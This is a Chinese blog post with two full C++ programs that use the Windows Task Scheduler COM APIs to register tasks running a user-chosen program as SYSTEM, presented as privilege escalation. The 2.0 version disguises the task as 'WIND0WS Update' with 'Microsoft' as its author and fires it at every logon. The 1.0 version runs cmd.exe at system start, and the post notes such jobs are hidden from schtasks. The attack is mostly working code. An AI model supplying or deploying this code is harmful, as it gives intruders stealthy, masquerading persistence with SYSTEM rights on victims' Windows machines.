之前在学校的时候打acm用的C++,不过没学过底层的东西。没想到竟然有一天,会拿着C++看算法以外的东西。提到权的那一刻是真爽啊!下面只给了Task Scheduler 2.0的图,其他的图忘记截了= =
常见问题
Q:Task schduler是什么?
A:Task schduler:任务调度程序,可以理解他的作用跟 Linux 下的 Crontab 作用类似,但是要比 Linux Crontab 强大很多。不单单可以执行定时任务,还可以根据某些特定的条件来启动其他应用,发送电子邮件等任务。
Q:为什么提的权限要是SYSTEM账户?
A:SYSTEM 用户和使用普通管理员用户对于文件有同样的特权。系统帐户可以由 Windows 下执行的服务和操作系统使用。有很多服务和 Windows 进程须要可以在内部登录(比如在 Windows 安装过程中)而系统帐户就是为该目的设计的;它是内部帐户,不显示在用户管理器,也无法加入到不论什么组,而且不能分配用户权限。可是对于一些服务和进程,我们须要使用系统账户而非管理员账户,由于这些服务和进程要和系统交互,须要内部登录。
在运行计划任务的时候,假设我们使用NT AUTHORITY\SYSTEM 账户,是不须要输入密码的。如果使用了其他管理员账户,我们必须输入密码。一般我们使用系统账户,主要是为了防止管理员改变密码后任务无法运行。
关于计划任务的设定,可以参考这篇文章任务的安全上下文,例如 Administrators 组或 SYSTEM 帐户的成员可以读取、更新、删除和运行任何任务。 “用户”组、LocalService 帐户和 NetworkService 帐户的成员只能读取、更新、删除和运行已创建的任务。
C++ Task Scheduler 2.0提权
注意:客户端需要 Windows Vista 或更高版本。服务器需要 Windows Server 2008 或更高版本。必须要管理员权限才可以运行添加计划任务。
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 |
|
10 |
|
11 | using namespace std; |
12 | int __cdecl wmain() |
13 | { |
14 | |
15 | // 初始化COM |
16 | HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); |
17 | if (FAILED(hr)) |
18 | { |
19 | |
20 | printf("\nCoInitializeEx failed: %x", hr); |
21 | return 1; |
22 | } |
23 | // 注册安全性并设置该过程的默认安全性值。 |
24 | hr = CoInitializeSecurity( |
25 | NULL, |
26 | -1, |
27 | NULL, |
28 | NULL, |
29 | RPC_C_AUTHN_LEVEL_PKT_PRIVACY, |
30 | RPC_C_IMP_LEVEL_IMPERSONATE, |
31 | NULL, |
32 | 0, |
33 | NULL); |
34 | LPCWSTR wszTaskName = L"WIND0WS Update"; //设置计划任务名称 |
35 | //创建ITaskService的实例 |
36 | ITaskService* pService = NULL; |
37 | hr = CoCreateInstance(CLSID_TaskScheduler, |
38 | NULL, |
39 | CLSCTX_INPROC_SERVER, |
40 | IID_ITaskService, |
41 | (void**)&pService); |
42 | // 链接到任务实例 |
43 | hr = pService->Connect(_variant_t(), _variant_t(), |
44 | _variant_t(), _variant_t()); |
45 | // 获取指向根任务文件夹的指针。 |
46 | ITaskFolder* pRootFolder = NULL; |
47 | hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder); |
48 | // 如果存在相同的任务删除该任务 |
49 | pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0); |
50 | // 创建任务生成器对象以创建任务。 |
51 | ITaskDefinition* pTask = NULL; |
52 | hr = pService->NewTask(0, &pTask); |
53 | pService->Release(); //清理Com |
54 | // 获取注册信息 |
55 | IRegistrationInfo* pRegInfo = NULL; |
56 | hr = pTask->get_RegistrationInfo(&pRegInfo); |
57 | hr = pRegInfo->put_Author((_bstr_t)"Microsoft"); // 修改你想要改的计划任务创建者 |
58 | // 创建计划任务设置 |
59 | ITaskSettings* pSettings = NULL; |
60 | hr = pTask->get_Settings(&pSettings); |
61 | // 设置任务的设置值 |
62 | hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE); |
63 | pSettings->Release(); |
64 | // ------------------------------------------------------ |
65 | // 获取取触发器集合以插入登录触发器。 |
66 | ITriggerCollection* pTriggerCollection = NULL; |
67 | hr = pTask->get_Triggers(&pTriggerCollection); |
68 | // 添加触发器 |
69 | ITrigger* pTrigger = NULL; |
70 | hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger); //TASK_TRIGGER_EVENT 事件触发 |
71 | pTriggerCollection->Release(); |
72 | ILogonTrigger* pLogonTrigger = NULL; |
73 | hr = pTrigger->QueryInterface( |
74 | IID_ILogonTrigger, (void**)&pLogonTrigger); |
75 | pTrigger->Release(); |
76 | hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1")); |
77 | /* |
78 | //设置指定触发时间 如果不设置 代表任何时间都可以触发 |
79 | hr = pLogonTrigger->put_StartBoundary( _bstr_t(L"2020-10-30T08:00:00") ); |
80 | hr = pLogonTrigger->put_EndBoundary( _bstr_t(L"2020-10-30T08:00:00") ); |
81 | */ |
82 | /* |
83 | // 定义某个用户 登录时触发 注释掉代表所有用户登录后触发 |
84 | hr = pLogonTrigger->put_UserId( _bstr_t( L"administrator" ) ); //某用户登录后触发 设置某用户 |
85 | pLogonTrigger->Release(); |
86 | */ |
87 | IActionCollection* pActionCollection = NULL; |
88 | hr = pTask->get_Actions(&pActionCollection); |
89 | IAction* pAction = NULL; |
90 | hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); //触发程序执行:TASK_ACTION_EXEC |
91 | IExecAction* pExecAction = NULL; |
92 | hr = pAction->QueryInterface( |
93 | IID_IExecAction, (void**)&pExecAction); |
94 | string cmdName; |
95 | cout << "输入文件位置:\n"; |
96 | cin >> cmdName; |
97 | hr = pExecAction->put_Path(_bstr_t(cmdName.c_str())); |
98 | pExecAction->Release(); |
99 | if (FAILED(hr)) |
100 | { |
101 | |
102 | printf(" 无法设置程序执行路径: %x", hr); |
103 | pRootFolder->Release(); |
104 | pTask->Release(); |
105 | CoUninitialize(); |
106 | return 1; |
107 | } |
108 | IRegisteredTask* pRegisteredTask = NULL; |
109 | hr = pRootFolder->RegisterTaskDefinition( |
110 | _bstr_t(wszTaskName), |
111 | pTask, |
112 | TASK_CREATE_OR_UPDATE, // 创建并覆盖现有的计划任务:TASK_CREATE_OR_UPDATE |
113 | //仅更新:TASK_UPDATE |
114 | //仅创建:TASK_CREATE |
115 | //禁用:TASK_DISABLE |
116 | _variant_t(L"system"), // 启动身份 system 或者administrator |
117 | _variant_t(), |
118 | TASK_LOGON_GROUP, //登录技术 组激活:TASK_LOGON_GROUP 用户登录后激活:TASK_LOGON_INTERACTIVE_TOKEN |
119 | _variant_t(L""), |
120 | &pRegisteredTask); |
121 | if (FAILED(hr)) |
122 | { |
123 | |
124 | printf("\n无法保存计划任务 : %x", hr); |
125 | pRootFolder->Release(); |
126 | pTask->Release(); |
127 | CoUninitialize(); |
128 | return 1; |
129 | } |
130 | printf("Success!成功注册计划任务 "); |
131 | pRootFolder->Release(); |
132 | pTask->Release(); |
133 | pRegisteredTask->Release(); |
134 | CoUninitialize(); |
135 | return 0; |
136 | } |
运行后,把绝对路径输入后,成功提权至system,非常的爽
C++ Task Scheduler 1.0写入提权(利用COM组件的 API 编程创建计划任务)
注意:Task Scheduler 1.0是在C:\Windows\Tasks目录下生成job文件,如果job文件存在重复会报错,注意及时删除。客户端需要 Windows Vista 或 Windows XP。服务器需要 Windows Server 2008 或 Windows Server 2003。
使用 Task Scheduler 1.0 的几个注意点:
- 创建计划任务需要管理员权限。
- 必须确保 Task Scheduler service 正在运行。
- 通过 COM 组件创建的计划任务,会在C:\windows\Tasks目录下创建一个同名的 JOB 文件。
- 同时需要为计划任务指定一个唯一的名称,如果指定的名称已被使用,则会导致任务创建失败。
- 该计划任务无法通过 schtasks 命令查询。
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 |
|
10 | |
11 | void WGetUserName(WCHAR* username, int len) |
12 | { |
13 | // 获取并显示计算机的名称。 |
14 | char szName[255]; |
15 | ULONG nLen = sizeof(szName); |
16 | ::GetUserNameA(szName, &nLen); |
17 | |
18 | for (unsigned int i = 0; i < strlen(szName); i++) |
19 | { |
20 | username[i] = szName[i]; |
21 | } |
22 | username[strlen(szName)] = '\0'; |
23 | printf("%s", szName); |
24 | } |
25 | |
26 | |
27 | |
28 | int main(int argc, char** argv) |
29 | { |
30 | HRESULT hr = S_OK; |
31 | ITaskScheduler* pITS; |
32 | |
33 | //调用CoInitialize初始化COM库,然后 |
34 | //调用CoCreateInstance获取Task Scheduler对象。 |
35 | hr = CoInitialize(NULL); |
36 | if (SUCCEEDED(hr)) |
37 | { |
38 | hr = CoCreateInstance(CLSID_CTaskScheduler, |
39 | NULL, |
40 | CLSCTX_INPROC_SERVER, |
41 | IID_ITaskScheduler, |
42 | (void**)&pITS); |
43 | if (FAILED(hr)) |
44 | { |
45 | CoUninitialize(); |
46 | return 1; |
47 | } |
48 | } |
49 | else |
50 | { |
51 | return 1; |
52 | } |
53 | |
54 | /// 获取计算机的用户名 |
55 | WCHAR username[512]; |
56 | memset(username, 0, sizeof(username)); |
57 | WGetUserName(username, sizeof(username)); |
58 | |
59 | // 调用ITaskScheduler::NewWorkItem创建新任务。 |
60 | WCHAR pwszTaskName[512] = L"Test_Task"; |
61 | ITask* pITask; |
62 | |
63 | wcscat(pwszTaskName, username); |
64 | hr = pITS->NewWorkItem(pwszTaskName, // 任务名称 |
65 | CLSID_CTask, // 类标识符 |
66 | IID_ITask, // 接口标识符 |
67 | (IUnknown**)&pITask); // 解决的任务 |
68 | // 接口 |
69 | |
70 | |
71 | pITS->Release(); // 释放对象 |
72 | if (FAILED(hr)) |
73 | { |
74 | CoUninitialize(); |
75 | fprintf(stderr, "Failed calling NewWorkItem, error = 0x%x\n", hr); |
76 | return 1; |
77 | } |
78 | |
79 | //调用ITask::SetApplicationName指定应用程序的名称 |
80 | //测试任务。 |
81 | LPCWSTR pwszApplicationName = L"C:\\Windows\\System32\\cmd.exe "; |
82 | hr = pITask->SetApplicationName(pwszApplicationName); |
83 | |
84 | if (FAILED(hr)) |
85 | { |
86 | wprintf(L"Failed calling ITask::SetApplicationName: "); |
87 | wprintf(L"error = 0x%x\n", hr); |
88 | pITask->Release(); |
89 | CoUninitialize(); |
90 | return 1; |
91 | } |
92 | |
93 | // set flag仅在登录时设置 |
94 | hr = pITask->SetFlags(TASK_FLAG_RUN_ONLY_IF_LOGGED_ON); |
95 | if (FAILED(hr)) |
96 | { |
97 | wprintf(L"Failed calling ITask::EditWorkItem, "); |
98 | wprintf(L"error = 0x%x\n", hr); |
99 | CoUninitialize(); |
100 | return 1; |
101 | } |
102 | |
103 | // 仅为登录设置用户名 |
104 | hr = pITask->SetAccountInformation(L"Administrator", NULL); //L"NT AUTHORITY\\SYSTEM"; |
105 | if (FAILED(hr)) |
106 | { |
107 | wprintf(L"Failed calling ITask::SetApplicationName: "); |
108 | wprintf(L"error = 0x%x\n", hr); |
109 | pITask->Release(); |
110 | CoUninitialize(); |
111 | return 1; |
112 | } |
113 | |
114 | // 调用ITask::CreateTrigger来创建一个新的触发器。 |
115 | ITaskTrigger* pITaskTrigger; |
116 | WORD piNewTrigger; |
117 | hr = pITask->CreateTrigger(&piNewTrigger, |
118 | &pITaskTrigger); |
119 | if (FAILED(hr)) |
120 | { |
121 | wprintf(L"Failed calling ITask::CreatTrigger: "); |
122 | wprintf(L"error = 0x%x\n", hr); |
123 | pITask->Release(); |
124 | CoUninitialize(); |
125 | return 1; |
126 | } |
127 | |
128 | //定义TASK_TRIGGER结构。注意,wBeginDay, |
129 | //wBeginMonth和wBeginYear必须设置为一个有效的 |
130 | //分别为日、月、年。 |
131 | TASK_TRIGGER pTrigger; |
132 | ZeroMemory(&pTrigger, sizeof(TASK_TRIGGER)); |
133 | |
134 | // 添加代码设置触发器结构? |
135 | pTrigger.cbTriggerSize = sizeof(TASK_TRIGGER); |
136 | pTrigger.wBeginDay = 20; // 必需的 |
137 | pTrigger.wBeginMonth = 1; // 必需的 |
138 | pTrigger.wBeginYear = 1997; // 必需的 |
139 | pTrigger.wStartHour = 10; |
140 | pTrigger.wStartMinute = 10; |
141 | pTrigger.MinutesDuration = 600; |
142 | pTrigger.TriggerType = TASK_EVENT_TRIGGER_AT_SYSTEMSTART; //TASK_EVENT_TRIGGER_AT_SYSTEMSTART |
143 | pTrigger.Type.Daily.DaysInterval = 1; |
144 | |
145 | // 调用ITaskTrigger::SetTrigger来设置触发条件。 |
146 | hr = pITaskTrigger->SetTrigger(&pTrigger); |
147 | if (FAILED(hr)) |
148 | { |
149 | wprintf(L"Failed calling ITaskTrigger::SetTrigger: "); |
150 | wprintf(L"error = 0x%x\n", hr); |
151 | pITask->Release(); |
152 | pITaskTrigger->Release(); |
153 | CoUninitialize(); |
154 | return 1; |
155 | } |
156 | |
157 | // 调用IPersistFile::Save将触发器保存到磁盘。 |
158 | IPersistFile* pIPersistFile; |
159 | hr = pITask->QueryInterface(IID_IPersistFile, |
160 | (void**)&pIPersistFile); |
161 | hr = pIPersistFile->Save(NULL, |
162 | TRUE); |
163 | |
164 | if (FAILED(hr)) |
165 | { |
166 | wprintf(L"Failed calling IPersistFile::Save: "); |
167 | wprintf(L"error = 0x%x\n", hr); |
168 | pITask->Release(); |
169 | pITaskTrigger->Release(); |
170 | pIPersistFile->Release(); |
171 | CoUninitialize(); |
172 | return 1; |
173 | } |
174 | |
175 | wprintf(L"The trigger was created and IPersistFile::Save was \n"); |
176 | wprintf(L"called to save the new trigger to disk.\n"); |
177 | |
178 | // 释放资源。 |
179 | pITask->Release(); |
180 | pITaskTrigger->Release(); |
181 | pIPersistFile->Release(); |
182 | CoUninitialize(); |
183 | printf("Created task.\n"); |
184 | return 0; |
185 | } |
运行后生成job文件